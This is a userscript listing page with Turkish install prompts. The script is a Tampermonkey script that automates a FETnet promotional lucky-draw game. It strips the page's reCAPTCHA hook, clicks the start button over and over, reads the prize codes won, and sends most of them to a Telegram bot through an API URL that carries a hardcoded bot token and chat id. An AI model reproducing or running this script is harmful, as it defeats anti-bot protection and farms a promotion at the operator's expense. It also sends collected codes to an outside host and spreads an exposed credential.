Line mobile

try to take over the world!

Bu betiği kurabilmeniz için Tampermonkey, Greasemonkey ya da Violentmonkey gibi bir kullanıcı betiği eklentisini kurmanız gerekmektedir.

Bu betiği yüklemek için Tampermonkey gibi bir uzantı yüklemeniz gerekir.

Bu betiği kurabilmeniz için Tampermonkey ya da Violentmonkey gibi bir kullanıcı betiği eklentisini kurmanız gerekmektedir.

Bu betiği kurabilmeniz için Tampermonkey ya da Userscripts gibi bir kullanıcı betiği eklentisini kurmanız gerekmektedir.

Bu betiği indirebilmeniz için ayrıca Tampermonkey gibi bir eklenti kurmanız gerekmektedir.

Bu komut dosyasını yüklemek için bir kullanıcı komut dosyası yöneticisi uzantısı yüklemeniz gerekecek.

(Zaten bir kullanıcı komut dosyası yöneticim var, kurmama izin verin!)

Bu stili yüklemek için Stylus gibi bir uzantı yüklemeniz gerekir.

Bu stili yüklemek için Stylus gibi bir uzantı kurmanız gerekir.

Bu stili yükleyebilmek için Stylus gibi bir uzantı yüklemeniz gerekir.

Bu stili yüklemek için bir kullanıcı stili yöneticisi uzantısı yüklemeniz gerekir.

Bu stili yüklemek için bir kullanıcı stili yöneticisi uzantısı kurmanız gerekir.

Bu stili yükleyebilmek için bir kullanıcı stili yöneticisi uzantısı yüklemeniz gerekir.

(Zateb bir user-style yöneticim var, yükleyeyim!)

// ==UserScript==
// @name         Line mobile
// @namespace    http://tampermonkey.net/
// @version      0.4
// @description  try to take over the world!
// @author       You
// @match        https://event.fetnet.net/luckygame/activity/game/wlxnrxX1
// @grant        none
// ==/UserScript==
function delay(timeout) {
    try{
      return new Promise((resolve) => {
        setTimeout(resolve, timeout);
      });
    }catch(err){

    }
}
function send(prizeName, prizeCode){
	fetch('https://api.telegram.org/bot369389395:AAFncSfK-_9f6Aip6fbGpft7lYQN2y7BOIE/sendMessage?chat_id=-1001410187623&text='+prizeName+"%0A"+prizeCode)
	  .then(function(response) {
	    return response.json();
	  })
	  .then(function(myJson) {
	    console.log(myJson);
	  });
}
function start(){

	document.querySelector("#startGame").classList.remove('g-recaptcha');
	document.querySelector("#startGame").removeAttribute('data-callback')
	document.querySelector("#startGame").click()

	// gift = document.querySelector("#prizePop > div > div > div > div.prize-name.red-word > p").innerText

	var waitForpop = function(selector, callback) {
	  if (jQuery(selector).length) {
	    callback();
	  } else {
	    setTimeout(function() {
	      waitForpop(selector, callback);
	    }, 1000);
		if(document.querySelector("body > div:nth-child(9)")&&document.querySelector("body > div:nth-child(9)").style.visibility == 'visible'){
		//	delay(5000)
		//	window.location.reload();
                  console.log('google')
		}
	  }
	};

	waitForpop(".open-pop", function() {
	  ifPop()
	});
}
function ifPop(){
	prizeName = document.querySelector("#prizeName").innerText
	prizeCode = document.querySelector("#prizeCode").innerText
	if(!(prizeCode=='20803' || prizeCode=='LM200' || prizeCode=='UWMENHYG' || prizeCode=='20778'))
		send(prizeName, prizeCode)

	$("#prizePop").removeClass('open-pop');
	ran = Math.floor(Math.random() * 10000+1500)
	delay(ran)
	start()
}
(function() {
    'use strict';

start()
    // Your code here...
})();